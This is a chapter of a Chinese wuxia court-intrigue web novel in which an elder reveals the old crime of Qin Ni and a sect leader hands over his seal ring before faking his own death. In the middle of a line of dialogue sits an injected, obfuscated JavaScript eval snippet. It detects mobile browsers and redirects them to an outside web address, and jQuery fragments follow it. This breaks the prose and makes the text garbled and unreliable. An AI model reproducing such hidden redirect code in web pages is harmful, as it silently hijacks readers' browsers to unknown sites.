170.前朝霞光
作品:《雪溅白虹》 晋竹影一愣。在他的印象里,焦长老甚少提起过去,每次晋竹影想问,他都一脸严肃让晋竹影赶快去练武功,不要问没有意义的事情:“往事不可追。”这是在晋竹影成长生涯中听到焦长老说过最多的一句话。
他回头看看那几个还在打鼾说梦话的人,把焦长老引到屏风外,轻声道:“你只能先告诉我了。”
在焦长老的描述中,当年皇帝还是个年轻的亲王,是先皇的亲弟弟。“怀亲王温柔亲善,但性子略显天真柔弱,某次微服私访,与太子的娘相识相爱,竟不知一个是亲王,一个是武林高手。姐姐与他成亲时,是景和六年。”
“景和六年?”晋竹影敏锐发现关键所在,“皇帝是在景和七年登基的。”
“对,姐姐虽然成了亲王妃,但并不愿困在京城王府中,所以平常已然与我们呆在一处,只是怀亲王时常来找她,或者她偶尔回府上,直到她在景和七年夏天难产去世时,先皇都在世,而同一年的冬天,先皇去世,紧接着新帝登基,秦霓因罪被判流放,但在流放前夕被发现死在狱中。”
“什么罪?”晋竹影一愣。他知道太子娘亲是难产去世的,也知道她这个皇后是皇帝登基后追封的,但并不知晓几件事都发生在景和七年。
焦长老长舒一口气:“当事之人甚少留活口,我从各处听到的传闻推断,说先皇是秦霓谋害而死的。”
“她有什么立场谋害先皇?那是她哥哥呀?”
“说先皇忌惮她与姐姐关系好,怕秦霓带着藏锋阁篡位,秦霓为自保先下手谋害先皇。而这一全过程,镇北王都因为北疆战事吃紧而没有亲历。等他回京吊唁时,一切都已尘埃落定。”
晋竹影一脸莫名其妙,轻声问道:“这站得住脚吗?”
“我姐姐确实是死于难产,她从怀孕到生产时藏锋阁都派人严密保护的,没人能动得了手脚。至于秦霓的事情是否站得住脚,并不在我的考虑范畴内。但我知道秦霓获罪后,巡南侯曾多次上书案有冤情,要求重查,要求平反,最后终于放弃,回到南疆,而后再也无人提起秦霓此人。”
晋竹影一愣,却没料到巡南侯还有这样一桩过往。
焦长老看出了晋竹影所想,替他说道:“巡南侯看到嚷嚷着要为太子翻案的秦昭,可能会回想起年轻时的自己吧。”
“秦昭已经去找过一次巡南侯了,他表示可以在关键时刻帮秦昭。”
焦长老耸肩:“秦昭将来如果真的想从巡南侯嘴里挖出些什么,告诉他要夺嫡也未为不可,因为三皇子五皇子都已经把路堵死。虽然对他来说押宝秦昭有些离谱,毕竟是个选择。”
“没到关键时刻不敢走这一步。”
“什么时候算关键时刻呢?父亲去世时,我在四方游历,姐姐成亲后,我也遍寻名师,少回京城。我总觉得有姐姐就像有靠山,不用我长大,没到关键时候,不需要我看顾藏锋阁。然后我姐姐死了,我懊恼了一阵子,留在京城陪着秦白虹。后来我又觉得,白虹简直是百年一遇的文武奇才,况且端方守正,又没有妇人之仁。皇帝把雍朝交给他都放心,那我把藏锋阁交给他又有何不放心?结果没想白虹也死了。”
焦长老的声音很轻,轻的差点被屏风另一侧传来的鼾声盖住,但晋竹影听的一清二楚。
“我记得你跟我说过,藏锋阁本是你们姐弟俩的父亲组织起来的。”
“对,父亲见我们姐弟二人都靠不住,和长老们商量顺应藏锋阁原本的派系分出十二门,各选长老,在我们管不到时能担起职责,”焦长老摆摆手,“但出于安全考虑,藏锋阁十二门从未齐聚。”
晋竹影沉默片刻,终于点头道:“如你所言,如今也到了关键时刻。”
焦长老摇头:“虽然每个人对关键时刻的判断不同,但我很高兴我们达成了一致意见。”
晋竹影绕到屏风后面,见几人仍在酣睡,但他还是颇为不放心地把焦长老拉回自己房间,阖上门窗,让乌鸦在外面盯着,而后把藏锋阁主事的扳指摘下来,放在焦长老手心:“我离开后,藏锋阁回到你手里。”
“我只是暂时保管,别忘了,你可是太子钦点的接班人,我不敢篡位,虽然我也不知道你小子到底有什么本事,”焦长老掂着手中扳指重量,沉默半晌道,“必须走这一步吗?”
晋竹影点头:“如今我的存在对藏锋阁来说,妨碍比助力更多。如若我死了,三皇子至少不会像如今这般紧追不放,有几位长老也不会那么义愤不平。你再适当吹吹风,说三皇子先害太子又害阿昭,都是为了把藏锋阁抢到手,他们会对阿昭更忠心才是。况且黎江师叔和陆风怜在北疆也有些凶险,我正好可以趁金蝉脱壳的机会过去帮衬一番,应该能挖出三皇子和镇北王更多信息。”
还有一点他没说:秦昭与三皇子表面同盟,三皇子也许会再二再三提出要秦昭伤害晋竹影的提议。秦昭用受伤的左手回绝了第一次,又会又会用什么方式回绝第二次第三次呢?
焦长老没有回答,安静看着他。
“只是我在想办法,怎么样能让我在众目睽睽之下死在三皇子手中。”
“秦昭……会很难受吧。”焦长老突然开口。
晋竹影呆滞一瞬,而后道:“她应该不会。”
“永泰园里我发现她的玉佩是防毒的,就告诉她了,”焦长老说着话见晋竹影变了脸色,立刻抬高音调,“我这是帮你你知不知道,就你这么追人,等八百年去吧!”
未待晋竹影反驳,乌鸦叫起来,他立刻起身推开窗,回头叮嘱:“以后只告诉秦昭她该知道的。”
焦长老把扳指套在手上举起来冷声道:“哼,遵命。”
方才睡着的几人纷纷醒来,赵鉴和叶长年见当值迟到慌忙借了马离开。焦长老把与秦霓相关的内容给秦昭复述一遍,正准备走时陈南华注意到了他手上的扳指,刚想张口询问,被焦长老轻微的表情阻拦。
陈南华阖上口,焦长老转身迈向门外。
“焦长老,”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17050921|157655||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
秦昭叫住他,焦长老顿步回身,心道不妙,没料到秦昭说,“您昨天晚上要是也来一起吃饭就好了。”
焦长老低头轻轻笑了:“你们年轻人的事情,我不掺和。”
“我刚刚突然想到一件事,您让我去找巡南侯是正常的,因为您与姑姑不熟,”秦昭看向方才叶长年匆忙离开留在这的外袍,轻声道,“左仆射是三朝元老,又默许叶长年来祝我夺嫡,他为什么不与我直接讲,反而也要我去找巡南侯呢?”
秦昭在左仆射府上并没有立刻意识到这件事,她当时满脑子与左仆射打哑谜,又对巡南侯和秦霓的关系过于震惊,没多思考就做出拜访巡南侯的决定。如今冷静下来,却越想越不对劲。纵使曾经的左仆射官职不高,纵使皇帝把秦霓相关的人事物尽数抹杀,人在朝廷中飘摇数十年,不可能什么风言风语都听不到。
她知道父皇与几位皇子都不是好相与的货色,曾经明确为太子伸张正义之人也早被尽数抹杀,左仆射能时而装聋作哑时而老眼昏花到如今一人之下万人之上,单凭聪明是不够的。秦昭曾经对万诗坛时害死左仆射的线人对他愧疚不已,又因他准许叶长年加入自己一方而感激。如今突然对左仆射的立场产生怀疑。
叶长年是真心帮自己夺嫡的她清楚。那左仆射是否是真心帮助自己呢?他是否有可能只把叶长年当棋子,利用叶长年得知她得知的信息与动向呢?否则怎么解释他始终让人感觉若即若离的态度,和此番对秦霓信息的回避呢?
“你这么一说我才想起来,”焦长老回过身,抬手放在秦昭头上,轻轻摸了摸,“左仆射的儿子儿媳,因结党案时与老吏部尚书走得近,被皇帝杀害,所以叶府才只剩他们祖孙两人,战战兢兢维持至今。不知道左仆射该如何称呼,但叶长年绝对是忠烈之后。”
秦昭闻言一窒,眼睛瞪得仿佛要跳到地上,片刻后泪水夺眶而出:“我是否多疑到不近人情了?”
焦长老噗呲一声笑出来,继续轻轻拍秦昭的头:“你只是太累了,今天正月初一,该好好歇一歇,别想太多事。”而后转身离开,没有理会秦昭泪如雨下。
一桩旧事牵扯出无数旧事,又牵扯出无数伤心人。而这世上的伤心人,又岂不是时时刻刻都在增加。
与此同时,左仆射府上,倚老卖老大年初一不当值的左仆射正把一封信凑近脸,眯缝着眼睛看,虽然他已然在夜深人静的时候看过无数遍。
这是易秋白在万诗坛起火不久后第二次来找他,拿给他的信,信上尽是皇帝的意思。
“不要帮秦昭,想想叶长年。”
十个字,仅仅十个字,却像刀割一般,将他的心,他的回忆切得鲜血淋漓。
左仆射轻叹一声,把信叠起来收好,而后重新写了一封信,吹了声口哨,而后一黑衣人出现在他身后。
“不要被任何人看到,交到他手上。”
“得令。”
黑衣人离开。
信封上有几个字:唐直亲启。

